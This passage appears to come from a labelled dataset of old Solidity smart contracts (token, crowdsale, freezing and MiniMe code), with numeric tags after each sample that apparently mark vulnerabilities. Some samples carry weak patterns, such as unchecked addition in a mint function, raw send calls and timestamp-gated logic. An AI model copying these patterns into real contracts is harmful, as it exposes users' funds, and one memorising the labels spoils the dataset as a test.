function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "GPCCTOKEN";
string constant TOKEN_SYMBOL = "GPCCT";
bool constant PAUSED = false;
address constant TARGET_USER = 0x6D5BdbEec91CC5e79b7A4Ab8Fd4fB89520497e72;
uint constant START_TIME = 1517997621;
bool constant CONTINUE_MINTING = true;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
if (PAUSED) {
pause();
}
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,592 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap;
uint256 public soldTokens;
constructor(uint256 _tokenCap) public {
require(_tokenCap > 0);
tokenCap = _tokenCap;
}
function tokenCapReached() public view returns (bool) {
return soldTokens >= tokenCap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(soldTokens.add(_getTokenAmount(_weiAmount)) <= tokenCap);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
soldTokens = soldTokens.add(_getTokenAmount(_weiAmount));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
string public constant ROLE_OPERATOR = "operator";
modifier onlyOperator () {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
uint256 public totalSoldTokens;
uint256 public totalWeiRaised;
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public weiContributions;
address[] public addresses;
constructor() public {}
function addBalance(
address _address,
uint256 _weiAmount,
uint256 _tokenAmount
)
public
onlyOperator
{
if (weiContributions[_address] == 0) {
addresses.push(_address);
}
weiContributions[_address] = weiContributions[_address].add(_weiAmount);
totalWeiRaised = totalWeiRaised.add(_weiAmount);
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
totalSoldTokens = totalSoldTokens.add(_tokenAmount);
}
function addOperator(address _operator) public onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function getContributorsLength() public view returns (uint) {
return addresses.length;
}
}
contract DefaultCrowdsale is TimedCrowdsale, MintedCrowdsale, TokenCappedCrowdsale, TokenRecover {
Contributions public contributions;
uint256 public minimumContribution;
uint256 public maximumContribution;
uint256 public transactionCount;
constructor(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
uint256 _minimumContribution,
uint256 _maximumContribution,
address _token,
address _contributions
)
Crowdsale(_rate, _wallet, ERC20(_token))
TimedCrowdsale(_startTime, _endTime)
TokenCappedCrowdsale(_tokenCap)
public
{
require(_maximumContribution >= _minimumContribution);
require(_contributions != address(0));
minimumContribution = _minimumContribution;
maximumContribution = _maximumContribution;
contributions = Contributions(_contributions);
}
function started() public view returns(bool) {
return block.timestamp >= openingTime;
}
function ended() public view returns(bool) {
return hasClosed() || tokenCapReached();
}
function updateRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_weiAmount >= minimumContribution);
require(
contributions.weiContributions(_beneficiary).add(_weiAmount) <= maximumContribution
);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions.addBalance(
_beneficiary,
_weiAmount,
_getTokenAmount(_weiAmount)
);
transactionCount = transactionCount + 1;
}
}
contract ForkPreIco is DefaultCrowdsale {
constructor(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
uint256 _minimumContribution,
uint256 _maximumContribution,
address _token,
address _contributions
)
DefaultCrowdsale(
_startTime,
_endTime,
_rate,
_wallet,
_tokenCap,
_minimumContribution,
_maximumContribution,
_token,
_contributions
)
public
{}
} | 0 | 1,703 |
pragma solidity ^0.4.15;
contract ERC20 {
function totalSupply() constant returns (uint totalsupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function transferOwnership(address newOwner) onlyOwner {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract GetToken is Owned {
address public token;
uint256 public sellPrice;
event GotTokens(address indexed buyer, uint256 ethersSent, uint256 tokensBought);
function GetToken (
address _token,
uint256 _sellPrice
) {
token = _token;
sellPrice = _sellPrice * 1 szabo;
}
function WithdrawToken(uint256 tokens) onlyOwner returns (bool ok) {
return ERC20(token).transfer(owner, tokens);
}
function SetPrice (uint256 newprice) onlyOwner {
sellPrice = newprice * 1 szabo;
}
function WithdrawEther(uint256 ethers) onlyOwner returns (bool ok) {
if (this.balance >= ethers) {
return owner.send(ethers);
}
}
function BuyToken() payable {
uint tokens = msg.value / sellPrice;
uint total = ERC20(token).balanceOf(address(this));
uint256 change = 0;
uint256 maxethers = total * sellPrice;
if (msg.value > maxethers) {
change = msg.value - maxethers;
}
if (change > 0) {
if (!msg.sender.send(change)) revert();
}
if (tokens > 0) {
if (!ERC20(token).transfer(msg.sender, tokens)) revert();
}
GotTokens(msg.sender, msg.value, tokens);
}
function () payable {
BuyToken();
}
} | 1 | 2,458 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract YC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "YUCHAIN";
string public symbol = "YC";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 1,831 |
pragma solidity ^0.4.16;
interface token_recipient { function approved(address _from, uint256 _value, address _token, bytes _data) public; }
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ERC20 (string token_name, string token_symbol, uint256 supply) public {
name = token_name;
symbol = token_symbol;
totalSupply = supply * 10 ** uint256(decimals);
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
modifier owned {
require(msg.sender == owner);
_;
}
function _transfer (address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint prev_balances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == prev_balances);
}
function approve (address _spender, uint256 _value, bytes _data) public {
allowance[msg.sender][_spender] = _value;
token_recipient spender = token_recipient(_spender);
spender.approved(msg.sender, _value, this, _data);
}
function transfer (address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function mint(address target, uint256 mint_value) public owned {
balanceOf[target] += mint_value;
totalSupply += mint_value;
Transfer(0, this, mint_value);
Transfer(this, target, mint_value);
}
} | 1 | 3,159 |
pragma solidity ^0.4.17;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20MiniMe is ERC20, Controlled {
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool);
function totalSupply() public view returns (uint);
function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint);
function totalSupplyAt(uint _blockNumber) public view returns(uint);
function createCloneToken(string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled) public returns(address);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
function isContract(address _addr) internal view returns(bool);
function claimTokens(address _token) public;
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
}
contract TokenController {
ERC20MiniMe public ethealToken;
address public SALE;
function addHodlerStake(address _beneficiary, uint _stake) public;
function setHodlerStake(address _beneficiary, uint256 _stake) public;
function setHodlerTime(uint256 _time) public;
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
